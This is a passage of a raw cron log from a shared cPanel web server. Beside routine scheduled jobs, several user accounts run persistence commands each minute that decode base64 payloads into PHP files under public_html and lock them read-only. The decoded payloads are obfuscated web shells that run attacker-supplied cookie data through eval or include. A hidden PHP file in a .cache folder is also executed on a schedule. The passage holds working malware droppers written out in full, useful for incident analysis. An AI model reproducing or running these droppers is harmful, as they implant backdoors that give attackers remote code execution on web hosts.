lcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:11:01 medusa CROND[30395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:11:01 medusa CROND[30393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:11:01 medusa CROND[30399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:11:01 medusa CROND[30402]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:11:01 medusa CROND[30404]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:11:01 medusa CROND[30409]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:11:01 medusa CROND[30410]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:12:02 medusa CROND[17943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:12:02 medusa CROND[18169]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:12:02 medusa CROND[18170]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:12:02 medusa CROND[18172]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 21:12:02 medusa CROND[18173]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:12:02 medusa CROND[18175]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:12:02 medusa CROND[18176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:12:02 medusa CROND[18177]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:12:02 medusa CROND[18178]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:12:02 medusa CROND[18182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:12:02 medusa CROND[18186]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:12:02 medusa CROND[18196]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:12:02 medusa CROND[18197]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:12:02 medusa CROND[18200]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:13:01 medusa CROND[3668]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:13:01 medusa CROND[3766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:13:01 medusa CROND[3806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 21:13:01 medusa CROND[3807]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:13:01 medusa CROND[3810]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:13:01 medusa CROND[3811]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:13:01 medusa CROND[3813]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:13:01 medusa CROND[3817]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 21:13:01 medusa CROND[3820]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:13:01 medusa CROND[3821]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 